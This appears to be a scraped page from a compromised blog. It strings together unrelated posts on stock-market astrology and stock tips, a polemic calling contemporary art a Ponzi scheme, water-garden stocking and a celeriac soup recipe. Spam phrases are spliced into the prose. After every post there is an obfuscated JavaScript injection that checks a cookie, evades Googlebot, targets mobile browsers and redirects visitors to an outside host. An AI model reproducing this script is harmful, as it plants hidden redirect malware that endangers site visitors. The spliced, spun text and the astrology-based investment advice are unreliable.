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junio 2013

Stock Market Astrology Part Iv

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Stock Market Astrology Part IV

“Fortune favours the brave ”
‘ High risk, high returns ‘ – this equation characterise the stock markets.
It is clear that without taking calculated risks, one cannot develop in
business.
The transit of the North Node, Rahu, which rules gambling is very important
in the stock market equation. This planet rules all risk taking ventures. If
the North Node is favourable and if Jupiter is indeed benevolent in a
favourable house, one can go ahead and take calculated risks.
The North Node is in India’s 10th and Jupiter in the second ( Cancer, Lunar
Ascendant ). The Sensex ( 20465) and Rupee ( 39.40 ) have hit peaks ! Forex
reserves have gone past $ 276 billion . Auto and automotive components
exports have registered phenomenal growth, along with software and steel.
Foreign investors averr that India is the best emerging market. FII inflows
have crossed $ 30 b and the share market is poised to rise ! India, in
contrast to China, has got good English language skills and better software
skills. Foreigners relish working in India than in China, because of the
language problem. The Indian stock markets are computerised and transparent.
There are less scams. It is true that turnover on the NSE ( maximum $ 20
billion a day ) are way behind the turnover of London Stock Exchange ( $
1000 b ) or New York ( $ 1000 b ) ( $ 1 b – Rs 4500 crores ). But it is
only a matter of time that NSE and BSE catches up with LSE & NYSE ( at PPP
estimates ).
The negative points that must be noted, are however, Jupiter in the 6th and
Saturn in the 2nd. These 2 planets are dragging and retarding progress. The
adverse positions of these 2 are responsible for the sudden dips ( Sensex
down to 20400 from 18000 ) and a feeling of anxiety and fear amongst the
investor population. In Forex market also, Rupee is continuing its bull run
against the greenback but there was a sudden dip earlier.
Venus moving over to Libra and Mercury getting exalted in Virgo will only
improve the market. We have to remember that small declines are healthy as
the market is continuing its bull run. Saturn and Mars are the villains and
we have to be cautious all the time.
” The smartness of the operator lies in booking loss and not in booking
profit ” . What does it mean ?
It is common experience that when we sell a scrip, it goes up ! When we buy
a share, it goes down ! If the market is going to rise, we should hold on.
( In Technical Analysis, a bull run is characterised by rising Resistance
and Support levels ). I bought SAIL three years back at 13.70. It declined
to 8 and after 3 years I sold it for 40! If you invest in a fundamentally
sound scrip, there is no risk in holding on ! One should invest only in
potential winners ! ( Another example was ICICI Bank. I bought it for 35. It
declined to 18 and I sold it after 1 year at 151 ! ). One should not panic
when the share one bought declines ! Nor when the share one sells goes up !
We do not control the market ! If you understand this, you will come to know
that smartness is loss booking and not profit booking !
In 2003, I bought SBI at 420 and sold it off at 449, bought Reliance at 408
and sold it off at 432, Infosys at 4512 and sold it off at 4633, ICICI Bank
at 194 and sold it off at 207 & GACL at 219 and sold it off at 230. I am not
bothered if it goes up. I booked profit. In the present situation, it
appears as booking loss as the prices of these scrips have gone up !
( On the occult side, I protected myself by chanting the Karthiaveeryarjuna
Mantra and wearing an Ohari Vipanana Vijayaprada Yantra, made by a Brahmin
Tantric friend. Here is the K V Mantra.
Karthiaveeryarjuno Namah
Rajah Bahu Sahasravan
Tasya Samsmaranath Eva
Hritham Nashtam cha Labhyathe )
The Irrational Crowd & the Contrarian Investor
We have to understand that man is an irrational animal( Russell ) ( in
direct contrast to the classical definition of man as a rational animal ) .
The crowd is irrational and sentimental. During boom, all men view the
market with rose-tainted glass thinking that visit more information the boom will last forever. No
boom lasts for ever. Based on the bullish reports given by the media, the
crowd pushes the market up. During a bear hug, the reverse happens. Crowds
take the market to unjustifiably low levels. The irrational crowd is
sentimental, not fundamental. A scrip is either underpriced or overpriced.
It is overpriced in a bullish market and underpriced in a bearish market.
Understand that the Market is cyclical and take advantage of booms and busts
!
Insulate yourself from the contagion of the crowd. Being part of the crowd
will get you nowhere. Book profits every now and then. Be a contrarian !
Knowledge – A criterion for success
Good ideas and good research are an absolute necessity in the market place.
The market is not a roulette wheel. There is no substitute for Information.
Along with Knowledge, hard work is called for. One should be alert and work
hard for success. Fortune indeed favours the industrious !
Women are won by wooing
Fortune is won the same
Sure there will be lots of trouble
Sure there will be heaps of cares
Burdens that bend us double
Worries that come to wear
But we must still be pursuing
Something to see us through !
We recommend buying TISCO, Infosys, United Phosphorus, CMC, GAIL, Auro
Pharma at their current support levels. Since the Sensex is at 20465, wait
for the market to dip and buy these at their support levels. A reaction is
expected at any time. A loss of 400 points to the Sensex can happen at any
moment. On should wait for the market to decline and then enter at the
current support level of the Sensex. Some scrips are moving sideways ( that
is when the Sensex goes up, some scrips are coming down ). Such movements
are to be expected. But, by and large, most of the cyclicals move up when
the market goes up and comes down when the market comes down.
Please check the position of Rahu and Jupiter in your chart and their
transits. People with Virgo as their Moon Sign should also be cautious as
Saturn is in the adverse 12th. Saturn ( gambling ) and Jupiter ( Divine
Grace ) are king makers !var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Stop The Modern Art Ponzi Scheme

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Stop The Modern Art Ponzi Scheme

One of the most elaborate visual artists in the world is Jeff Koon, but his achievement has come from a speculative system controlled by a small circle of newly rich, a well-known auction house and a few galleries. Koon does not appear naked or covered in his own blood any more, but outfitted in the same manner as the members of his new following, as if, not able to create a masterpiece, he has become an impressionist.
Until now, plastic artworks have avoided the “festive” performance culture where general art-lovers thinks to find its accomplishment. Today we have Versailles castle showing the illustrated amusement characters Takashi Murakami, the Louvre and its clowns, Palazzo Grassi and Jeff Koons: the museums and galleries are focusing on the trade between “low culture” and “high culture”. Satisfaction of destruction, a reflection of what Proust called “le snobisme de la canaille”: the elite class decline in decadence. The work of art, when it is manipulated financially so, is linked to its poor characteristics, demonstrating the symbolism of Freud.
An exhibition in New York ten years ago, named “Abject art: Repulsion and Desire”, was the beginning of this decline. Inadequate art leads all of us to the “postprandal”: what is expelled following digestion. This applies to everything which has excrements as its reference. Through cult to culture, from culture to cultural, from cultural to the cult of money, the natural way communities evolve and decline: Marc Quinn and his bust carved from his own frozen blood, Orlan and his facial surgery, Gober with his forms of art from wax and human hair, Damien Hirst and his animals dissolved in formol, Gasiorowski share here creating material pieces of art from his own faeces, Maurizio Cattelan with his bodies, both animal and human nailed to the wall, Serano’s Piss Christ; and with these artworks from excrement, the only thing missing is the smell: Gold, conjecture, art fairs with individually distinct magazines like Schaulager in Basle, or historical galleries and museums changed into shiny showrooms, and last but not least the large auctions, to complete this extraordinary and obscene circle.
With which sense is this permitted? Exactly why do we think to need such “artistic” control while the guidelines and guidance of our culture are not assured any more through religion or politics? Is the expanding scatological defect the glue which holds us as one? Aren’t these types of juvenile creations rather a revival of an issue much less sophisticated in us and their practitioners a possible illustration of what Marcel Gauchet refers to as “total Individual”, with no respect of society, but all the privileges of an “artist” as “total” as the dictatorships in their period, echoing the dreams of the child which feels all-powerful and imposes on other people the excrements he is playing with.
2008 gave way to the crisis of sub primes, titrisation, Ponzi scams. Suddenly we realized that subjects of no conceivable worth could be offered not only for sale, but also form the base for an economic circuit and its speculative valuation. The methods which often make it possible for us to sell an item of the so-called “Contemporary art” are no better than those which have enabled us to sell off real estate of low, or even no, value for inflated price levels.
Let’s take a calf, cut it in half and place it in a container of formol. Let us believe this sinister creation has a creator and let’s suppose this is suddenly a piece of art which has to be launched. What is the method for bringing it to market? Just how, beginning with a value of nill, can we assign it a price of several million dollars? It is a question of believability: who can we find that will definitely give authenticity to this and who will believe in it sufficiently to buy it at the price we want?
The hedge funders have provided examples of just what can be achieved from nothing. First of all, any mistrust of its credibility will be numbed by exhibiting it next to other less suspicious assets. Damien Hirst’s Calf may be shown right next to a piece by Josef Beuys, or better still Robert Morris, who has earned a triple A status. Next we will expose it within a limited circle of private galleries which are all part of the game and all set to share the risk between them. This collection of betrothed persons are the shareholders, these people are the ones who serve to “illuminate”, as they call it, collectors at the public auctions, who are the ones who carry the risks. They will play the part of the ranking agencies for the art marketplace, apparently consulting the collectors, but in fact simply manipulating the ROI rates and exacerbating speculation.
We will guarantee an increase in value of 20% to 40%, not over the long term, as in earlier times, but very short term – inside of six to eight months. This can be made a no-brainer using the guarantee to buy back the particular work at the initial price tag if no further investors buy. Now we need a well-known public establishment, if possible a museum, to host an exhibition by this artist: expenses for shipment, insurance, catalogue printing, press relations, cocktail parties, and other promotional costs are secretly covered by the circle of betrothed “shareholders”. In this manner the treasures of the museum take on the similar purpose as the Government Reserve for currency; – they insinuate security of the value of the artwork shown in their esteemed galleries and cover the reality that this has been arranged just by a couple of galleries, an auction house, and a number of speculators.
Clearly it’s not the value associated with the art which is actually considered; it’s only the price, inflated through well prepared auctions. Such as in any Ponzi scheme or pyramid, it will be the final buyer of the work, unable to sell at a resonable investment, who loses it all. He pays for all previous investors. The museums and other leadingcultural institutions play a leading role in this plan. Have they really become so superior as to diffuse our suffrage?var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Stocking A Water Garden

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Stocking a Water Garden

The selection of plants for a brand new bed or border which you have created as part of your garden is up to you. Taking into consideration the quantity of light and soil type that happen to be present you may have a vast range of plants from which to make your choice, dependant upon your likes and dislikes. Roses on their very own or mixed with other plants. Bedding plants or Bamboo, that’s up to you entirely.

One of several basic rules for making a successful water garden is that stocking will not just up to anyone with a desire to have a lovely pond. Stocking calls for bringing together a variety of ingredients, both plant and animal, to ensure a healthy and stable balance is maintained. It will likely be essential to introduce some uninteresting plants with no ornamental value because they help to keep the water clear. You might even have to make sure that a certain quantity of the water surface is shaded by foliage, whether you want it or not.

You may soon realize that choosing specimen from your aquatic centre or catalogue merely because it looks the most attractive could be a big mistake. The showiest fish will require a much larger than average pond in addition to being an ice-free environment during the winter months. Some fairly strict rules, then, for making the correct choice of stocking material.

Furthermore there are actually rules regarding the time for stocking the pond. First of all, plants must be introduced through the growing season and you must wait a few days after the pond has been filled up with fresh tap water. This allows the dissolved chlorine to break up. The next rule is that it is best to leave Four weeks between planting before introduction of fish. The reason for this is that fish tug at submerged plants and nibble at the leaves, so Water Lillies, Marginals, Oxygenators etc should be allowed to establish themselves share this site before being exposed to Goldfish, Shubunkins or any other type of fish.

You will find 6 groups of pond plants that you should consider.
Water Lillies, roots submerged, leaves on the surface and flowers on or above the water surface.
Deep Water Aquatics, roots submerged, leaves on the surface and flowers on or above the surface.
Floaters, roots submerged, leaves and stems free-floating on or just under the surface and the flowers, if any, on or above the surface.
Bog Plants, roots in moist soil but not permanently submerged in water, leaves and flowers clearly above the surface.
Oxygenators, roots and stems submerged, leaves nearly always submerged and the flowers, if any, on or above the surface.
Finally, industrial and domestic boiler installation get the Marginals, roots submerged, leaves and flowers clearly above the surface.

There are actually far too many varieties of every group to cover in one article but I will write in more detail a greater description of each group the moment I can. The key thing to remember when stocking your pond is to possess a very good look at the plants on offer and try to grasp the purpose of every group of plants. This is vital to the survival of your ponds life.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Stir Up A Roasted Celeriac Soup

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Stir Up a Roasted Celeriac Soup

I just couldn’t get that celeriac out of my head. It’s sort of like buying a new record and playing it until you are sick of it (or until those around you are sick of it). So, with apologies to my husband, I’m on a celeriac kick. It’s funny how many recipes I’m seeing now for share here this vegetable that I’d never noticed before. I made a mistake with this one. It should really be pretty smooth. The chunks made it seem more like baby food than an elegant soup. The flavour was really nice, though. If you don’t want to take the time to roast the celeriac first, you can put it in raw at the same time as the stock and the potato. I originally bought a small one and it was fine. This time, I got a larger one and it was a bit hollow in the middle.

Preheat oven to 350F. Toss celeriac with 1 tbs oil and roast for 30 minutes, stirring occasionally.

Add potato, stock, thyme, tarragon and parsley; bring to a boil. Reduce heat, cover, and simmer for 20 minutes. Add celery root and cook for 10 minutes more, or until vegetables are tender. Remove from heat and cool slightly.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g 